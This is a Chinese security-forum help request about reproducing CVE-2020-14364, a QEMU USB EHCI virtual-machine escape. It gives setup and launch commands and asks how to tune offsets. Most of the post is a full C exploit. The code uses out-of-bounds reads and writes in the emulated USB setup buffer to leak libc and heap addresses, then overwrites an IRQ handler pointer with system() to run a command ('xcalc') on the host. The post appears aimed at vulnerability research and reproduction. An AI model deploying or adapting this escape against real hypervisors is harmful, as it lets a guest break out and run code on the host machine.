-
-
[未解决,已结帖] [求助]请大佬帮忙看看CVE-2020-14364 qemu逃逸漏洞复现EXP跑不通的问题 200.00雪花
-
发表于: 2023-4-3 19:18 6026
-
各位好,最近在调试复现CVE-2020-14364 qemu逃逸漏洞,找到的exp在我本地搭建的环境中跑不通,请帮忙看看要怎么调试修改,在此谢过~
环境搭建参考:https://xz.aliyun.com/t/8320
调试及exp参考:https://n0va-scy.github.io/2022/02/14/cve-2020-14364%20qemu%E9%80%83%E9%80%B8%E6%BC%8F%E6%B4%9E/
镜像制作方式:
1 2 | qemu - img create - f qcow2 ubuntu - server.qcow2 5G / / 创建qcow2硬盘文件 sudo kvm - m 1028 - cdrom / mnt / hgfs / vm_share / ubuntu - 18.04 - live - server - amd64.iso - drive file = ubuntu - server.qcow2, if = virtio - net nic,model = virtio - net user - boot d - vnc : 0 / / 制作linux qcow2镜像,后续使用vnc - view连接 127.0 . 0.1 : 0 进行系统安装 |
qemu版本及编译方式:
1 | configure - - target - list = x86_64 - softmmu - - enable - debug - - disable - werror - - enable - spice / / 编译 |
环境信息:
宿主机:VMware Ubuntu 20.04虚拟机
kvm虚拟机:Ubuntu 18.04 server
启动脚本及进程:
1 2 3 4 5 6 7 8 9 | / home / xxx / kvm_qemu / cve_2020_14364 / qemu - 4.2 . 1 / bin / debug / naive / x86_64 - softmmu / qemu - system - x86_64 \ - m 1G \ - drive file = / home / xxx / kvm_qemu / cve_2020_14364 / virtual_machine / ubuntu - server.qcow2, if = virtio \ - net nic,model = virtio \ - net user,hostfwd = tcp:: 5555 - : 22 \ - usb \ - device usb - ehci, id = ehci \ - device usb - tablet,bus = ehci. 0 \ - boot d |
现象:
1.虚拟地址转换物理地址成功
2.可正常启动kvm虚拟机并执行exp,但是exp执行未逃逸成功,出现error信息
问题:
- 按照 https://xz.aliyun.com/t/6562#toc-0 进行虚拟地址和物理地址转换成功后,需要将得到的物理地址替换在exp中的什么位置?
- exp中的哪些变量值需要根据实际环境调试后替换?
- exp中check()函数作用,0x20和0x100400080000的含义,是否需要根据实际环境调试结果替换,如何调试获取需要的值?
- libc_base地址怎么算的,如何调试计算?
- 可以的话能请大神帮忙远程调一下是最好不过的
附录(EXP)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 | #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #include <stdbool.h> #include <netinet/in.h> unsigned char * mmio_mem; char * dmabuf; struct ohci_hcca * hcca; struct EHCIqtd * qtd; struct ohci_ed * ed; struct ohci_td * td; char * setup_buf; uint32_t * dmabuf32; char * td_addr; struct EHCIqh * qh; struct ohci_td * td_1; char * dmabuf_phys_addr; typedef struct USBDevice USBDevice; typedef struct USBEndpoint USBEndpoint; long long data_buf; long long irq; long long text; unsigned int * ptr; struct USBEndpoint { uint8_t nr; uint8_t pid; uint8_t type ; uint8_t ifnum; int max_packet_size; int max_streams; bool pipeline; bool halted; USBDevice * dev; USBEndpoint * fd; USBEndpoint * bk; }; struct USBDevice { int32_t remote_wakeup; int32_t setup_state; int32_t setup_len; int32_t setup_index; USBEndpoint ep_ctl; USBEndpoint ep_in[ 15 ]; USBEndpoint ep_out[ 15 ]; }; typedef struct EHCIqh { uint32_t next ; / * Standard next link pointer * / / * endpoint characteristics * / uint32_t epchar; / * endpoint capabilities * / uint32_t epcap; uint32_t current_qtd; / * Standard next link pointer * / uint32_t next_qtd; / * Standard next link pointer * / uint32_t altnext_qtd; uint32_t token; / * Same as QTD token * / uint32_t bufptr[ 5 ]; / * Standard buffer pointer * / } EHCIqh; typedef struct EHCIqtd { uint32_t next ; / * Standard next link pointer * / uint32_t altnext; / * Standard next link pointer * / uint32_t token; uint32_t bufptr[ 5 ]; / * Standard buffer pointer * / } EHCIqtd; void die(const char * msg) { perror(msg); exit( - 1 ); } uint64_t virt2phys(void * p) { uint64_t virt = (uint64_t)p; / / Assert page alignment int fd = open ( "/proc/self/pagemap" , O_RDONLY); if (fd = = - 1 ) die( "open" ); uint64_t offset = (virt / 0x1000 ) * 8 ; lseek(fd, offset, SEEK_SET); uint64_t phys; if (read(fd, &phys, 8 ) ! = 8 ) die( "read" ); / / Assert page present phys = (phys & (( 1ULL << 54 ) - 1 )) * 0x1000 + (virt & 0xfff ); return phys; } void mmio_write(uint32_t addr, uint32_t value) { * ((uint32_t * )(mmio_mem + addr)) = value; } uint64_t mmio_read(uint32_t addr) { return * ((uint64_t * )(mmio_mem + addr)); } void init() { int mmio_fd = open ( "/sys/devices/pci0000:00/0000:00:03.0/resource0" , O_RDWR | O_SYNC); if (mmio_fd = = - 1 ) die( "mmio_fd open failed" ); mmio_mem = mmap( 0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); if (mmio_mem = = MAP_FAILED) die( "mmap mmio_mem failed" ); dmabuf = mmap( 0 , 0x3000 , PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, - 1 , 0 ); if (dmabuf = = MAP_FAILED) die( "mmap" ); mlock(dmabuf, 0x3000 ); dmabuf32 = dmabuf + 4 ; qtd = dmabuf + 0x200 ; qh = dmabuf + 0x100 ; setup_buf = dmabuf + 0x300 ; ptr = dmabuf; } void init_state() { mmio_write( 0x64 , 0x100 ); mmio_write( 0x64 , 0x4 ); qh - >epchar = 0x00 ; qh - >token = 1 << 7 ; qh - >current_qtd = virt2phys(dmabuf + 0x200 ); qtd = dmabuf + 0x200 ; qtd - >token = 1 << 7 | 2 << 8 | 8 << 16 ; qtd - >bufptr[ 0 ] = virt2phys(dmabuf + 0x300 ); setup_buf[ 6 ] = 0xff ; setup_buf[ 7 ] = 0x0 ; dmabuf32[ 0 ] = virt2phys(dmabuf + 0x100 ) + 0x2 ; mmio_write( 0x28 , 0x0 ); mmio_write( 0x30 , 0x0 ); mmio_write( 0x2c , 0 ); mmio_write( 0x34 , virt2phys(dmabuf)); mmio_write( 0x20 , 0x11 ); } void set_length(uint16_t len , uint8_t in ) { mmio_write( 0x64 , 0x100 ); mmio_write( 0x64 , 0x4 ); setup_buf[ 0 ] = in ; setup_buf[ 6 ] = len & 0xff ; setup_buf[ 7 ] = ( len >> 8 ) & 0xff ; qh - >epchar = 0x00 ; qh - >token = 1 << 7 ; qh - >current_qtd = virt2phys(dmabuf + 0x200 ); qtd - >token = 1 << 7 | 2 << 8 | 8 << 16 ; / / 2 << 8 go to do_token_setup qtd - >bufptr[ 0 ] = virt2phys(dmabuf + 0x300 ); dmabuf32[ 0 ] = virt2phys(dmabuf + 0x100 ) + 0x2 ; mmio_write( 0x28 , 0x0 ); mmio_write( 0x30 , 0x0 ); mmio_write( 0x2c , 0 ); mmio_write( 0x34 , virt2phys(dmabuf)); mmio_write( 0x20 , 0x11 ); } void set_length3(uint16_t len , uint8_t in ) { memset(dmabuf + 0x400 , 0x61 , 0x1000 ); mmio_write( 0x64 , 0x100 ); mmio_write( 0x64 , 0x4 ); setup_buf[ 0 ] = in ; setup_buf[ 6 ] = len & 0xff ; setup_buf[ 7 ] = ( len >> 8 ) & 0xff ; qh - >epchar = 0x00 ; qh - >token = 1 << 7 ; qh - >current_qtd = virt2phys(dmabuf + 0x200 ); * ( int * )&dmabuf[ 0x1304 ] = 0x2 ; * ( int * )&dmabuf[ 0x1308 ] = 0x5000 ; * ( int * )&dmabuf[ 0x130c ] = 0xffffefe8 ; / / set s - >setup_index - 8 qtd - >token = 1 << 7 | 0 << 8 | 0x1010 << 16 ; / / write len is 0x1000 , 0 << 8 got to write qtd - >bufptr[ 0 ] = virt2phys(dmabuf + 0x300 ); qtd - >bufptr[ 1 ] = virt2phys(dmabuf + 0x1300 ); dmabuf32[ 0 ] = virt2phys(dmabuf + 0x100 ) + 0x2 ; mmio_write( 0x28 , 0x0 ); mmio_write( 0x30 , 0x0 ); mmio_write( 0x2c , 0 ); mmio_write( 0x34 , virt2phys(dmabuf)); mmio_write( 0x20 , 0x11 ); } void set_length4(uint16_t len , uint8_t in ) { mmio_write( 0x64 , 0x100 ); mmio_write( 0x64 , 0x4 ); setup_buf[ 0 ] = in ; setup_buf[ 6 ] = len & 0xff ; setup_buf[ 7 ] = ( len >> 8 ) & 0xff ; qh - >epchar = 0x00 ; qh - >token = 1 << 7 ; qh - >current_qtd = virt2phys(dmabuf + 0x200 ); * ( int * )&dmabuf[ 0x1308 ] = 0x2 ; / / * ( int * )&dmabuf[ 0x130c ] = 0x14f4 - 0x1018 ; * (ptr + 1221 ) = 0x16fc - 0x1018 ; * (ptr + 1221 - 2 ) = 2 ; qtd - >token = 1 << 7 | 0 << 8 | 0x1018 << 16 ; qtd - >bufptr[ 0 ] = virt2phys(dmabuf + 0x300 ); qtd - >bufptr[ 1 ] = virt2phys(dmabuf + 0x1300 ); dmabuf32[ 0 ] = virt2phys(dmabuf + 0x100 ) + 0x2 ; mmio_write( 0x28 , 0x0 ); mmio_write( 0x30 , 0x0 ); mmio_write( 0x2c , 0 ); mmio_write( 0x34 , virt2phys(dmabuf)); mmio_write( 0x20 , 0x11 ); } void do_copy_read(uint16_t len , uint8_t in ) { mmio_write( 0x64 , 0x100 ); mmio_write( 0x64 , 0x4 ); qh - >epchar = 0x00 ; qh - >token = 1 << 7 ; qh - >current_qtd = virt2phys(dmabuf + 0x200 ); qtd - >token = 1 << 7 | 1 << 8 | 0x1100 << 16 ; qtd - >bufptr[ 0 ] = virt2phys(dmabuf + 0x300 ); qtd - >bufptr[ 1 ] = virt2phys(dmabuf + 0x1300 ); dmabuf32[ 0 ] = virt2phys(dmabuf + 0x100 ) + 0x2 ; mmio_write( 0x28 , 0x0 ); mmio_write( 0x30 , 0x0 ); mmio_write( 0x2c , 0 ); mmio_write( 0x34 , virt2phys(dmabuf)); mmio_write( 0x20 , 0x11 ); } void set_length6(uint16_t len , uint8_t in ) { memset(dmabuf + 0x400 , 0x61 , 0x1000 ); mmio_write( 0x64 , 0x100 ); mmio_write( 0x64 , 0x4 ); setup_buf[ 0 ] = in ; setup_buf[ 6 ] = len & 0xff ; setup_buf[ 7 ] = ( len >> 8 ) & 0xff ; qh - >epchar = 0x00 ; qh - >token = 1 << 7 ; qh - >current_qtd = virt2phys(dmabuf + 0x200 ); * ( int * )&dmabuf[ 0x1304 ] = 0x2 ; * ( int * )&dmabuf[ 0x1308 ] = 0x5000 ; * ( int * )&dmabuf[ 0x130c ] = 0xffffe524 ; / / set s - >setup_index - 0xacc (point to irq - >handler) qtd - >token = 1 << 7 | 0 << 8 | 0x1010 << 16 ; / / write len is 0x1000 , 0 << 8 got to write qtd - >bufptr[ 0 ] = virt2phys(dmabuf + 0x300 ); qtd - >bufptr[ 1 ] = virt2phys(dmabuf + 0x1300 ); dmabuf32[ 0 ] = virt2phys(dmabuf + 0x100 ) + 0x2 ; mmio_write( 0x28 , 0x0 ); mmio_write( 0x30 , 0x0 ); mmio_write( 0x2c , 0 ); mmio_write( 0x34 , virt2phys(dmabuf)); mmio_write( 0x20 , 0x11 ); } void final_write(uint16_t len , uint8_t in , long long system, long long irq_handler) { mmio_write( 0x64 , 0x100 ); mmio_write( 0x64 , 0x4 ); setup_buf[ 0 ] = in ; setup_buf[ 6 ] = len & 0xff ; setup_buf[ 7 ] = ( len >> 8 ) & 0xff ; qh - >epchar = 0x00 ; qh - >token = 1 << 7 ; qh - >current_qtd = virt2phys(dmabuf + 0x200 ); * ( int * )&dmabuf[ 0x1308 ] = 0x2 ; unsigned long long * ptr2; ptr2 = &dmabuf[ 0x300 ]; * (ptr2) = system; / / system plt * (ptr2 + 1 ) = irq_handler + 0x10 ; * (ptr2 + 2 ) = 0x636c616378 ; / / xcalc * (ptr + 1221 ) = 0x16fc - 0x1018 ; * (ptr + 1221 - 2 ) = 2 ; qtd - >token = 1 << 7 | 0 << 8 | 0x18 << 16 ; qtd - >bufptr[ 0 ] = virt2phys(dmabuf + 0x300 ); qtd - >bufptr[ 1 ] = virt2phys(dmabuf + 0x1300 ); dmabuf32[ 0 ] = virt2phys(dmabuf + 0x100 ) + 0x2 ; mmio_write( 0x28 , 0x0 ); mmio_write( 0x30 , 0x0 ); mmio_write( 0x2c , 0 ); mmio_write( 0x34 , virt2phys(dmabuf)); mmio_write( 0x20 , 0x11 ); } void check() { while (mmio_read( 0x20 ) ! = 0x100400080000 ) { printf( "error:%p " , mmio_read( 0x20 )); usleep( 100000 ); } } int main() { setbuf(stdout, 0 ); init(); puts( "Start!" ); / / - - - - - - - - - - - - - - - - - - - - - - First Step : leak data_buf addr / / send a normal packet, set s - >setup_state to SETUP_DATA_STATE( 2 ) puts( "set s->setup_state:SETUP_DATA_STATE" ); init_state(); / / getchar(); check(); / / send a deformity, set s - >setup_len to 0x5000 puts( "set s->setup_len:0x5000" ); set_length( 0x5000 , 0 ); / / getchar(); usleep( 500000 ); / / write out of bounds puts( "write out of bounds,set setup_index -8" ); set_length3( 0x5000 , 0x80 ); / / getchar(); check(); / / write out of bounds, set s - >setup_buf for leak address puts( "write out of bounds,set s->setup_buf and s->setup_index" ); set_length4( 0x5000 , 0x80 ); / / getchar(); check(); / / now leak address / / read text address puts( "read text address" ); do_copy_read( 0x5000 , 0x80 ); / / getchar(); check(); long long * ptrr = dmabuf + 0x300 ; long long libc_base = * ptrr - 0x51a92b ; long long * heap = dmabuf + 0x308 ; long long system = libc_base + 0x2038d0 ; long long irq_handler = * heap - 0x2e88 ; long long irq_opaque = * heap - 0x2e80 ; printf( "libc_base: %p\n" ,libc_base); printf( "system: %p\n" ,system); printf( "irq_handler: %p\n" ,irq_handler); printf( "irq_opaque: %p\n" ,irq_opaque); / / irq - >handler: 0x5555592bb138 / / irq - >opaque: 0x5555592bb140 / / restart init_state(); check(); set_length( 0x5000 , 0 ); usleep( 500000 ); / / write irq - >handler puts( "change s->setup_index point to irq->handler" ); set_length6( 0x5000 , 0x80 ); / / getchar(); check(); puts( "change irq->handler" ); final_write( 0x5000 , 0x80 ,system,irq_handler); / / getchar(); check(); puts( "pwn it?" ); return 0 ; } |
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
看原图
赞赏
雪币:
留言: